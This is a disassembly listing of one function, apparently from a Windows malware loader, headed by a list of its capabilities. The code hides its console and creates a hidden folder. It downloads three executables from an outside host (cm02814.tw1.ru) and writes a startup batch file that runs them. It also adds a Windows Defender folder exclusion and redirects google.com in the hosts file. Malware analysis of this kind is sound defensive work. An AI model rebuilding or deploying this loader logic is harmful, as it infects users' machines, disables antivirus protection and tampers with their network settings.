Function at 0x140001210
Capabilities:
Check if file exists
Create directory
Get common file path
Get startup folder
Set file attributes
Set registry value

Disassembly:
sub rsp, 0x488
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x470], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, str.C:Program_FilesMyProgram
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1400012c1
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400012b1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_create_the_directory.
call fcn.1400014e0
mov rcx, rax
lea rdx, [0x1400016b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001770
add rsp, 0x488
ret
mov edx, 2
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, str.C:Program_FilesMyProgram_bbbb.exe
mov qword [rsp + 0x480], rbx
lea rcx, str.http:__cm02814.tw1.ru_bbbb_bbbb.exe
call fcn.140001060
lea rdx, str.C:Program_FilesMyProgramCheckerV2.exe
lea rcx, str.http:__cm02814.tw1.ru_bbbb_CheckerV2.exe
call fcn.140001060
lea rdx, str.C:Program_FilesMyProgramVenomCheck.exe
lea rcx, str.http:__cm02814.tw1.ru_bbbb_VenomCheck.exe
call fcn.140001060
xor r9d, r9d
lea rdx, [rsp + 0x150]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str.MyLoader.bat
mov edx, 0x104
lea rcx, [rsp + 0x150]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x140003568]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x1400013b5
mov rcx, qword [rsp + 0x30]
lea rdx, str._echo_off_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
lea r8, str.C:Program_FilesMyProgramVenomCheck.exe
lea rdx, str.start__b__min______s__n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
lea r8, str.C:Program_FilesMyProgram_bbbb.exe
lea rdx, str.start__b__min______s__n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
lea r8, str.C:Program_FilesMyProgramCheckerV2.exe
lea rdx, str.start__b__min______s__n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.C:Program_FilesMyProgram_bbbb.exe
call fcn.140001130
lea rcx, str.C:Program_FilesMyProgramCheckerV2.exe
call fcn.140001130
lea rcx, str.C:Program_FilesMyProgramVenomCheck.exe
call fcn.140001130
lea rax, [rsp + 0x260]
mov dword [rsp + 0x28], 0x104
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
mov r9d, ebx
lea r8, [rsp + 0x40]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x38]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsFolders
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x260]
nop dword [rax]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140001440
mov rcx, qword [rsp + 0x38]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.MyProgram
lea rax, [rsp + 0x260]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [0x14000367c]
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
mov rbx, qword [rsp + 0x480]
test eax, eax
jne 0x1400014c0
mov rcx, qword [rsp + 0x30]
lea rdx, str.127.0.0.1_google.com_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001770
add rsp, 0x488
ret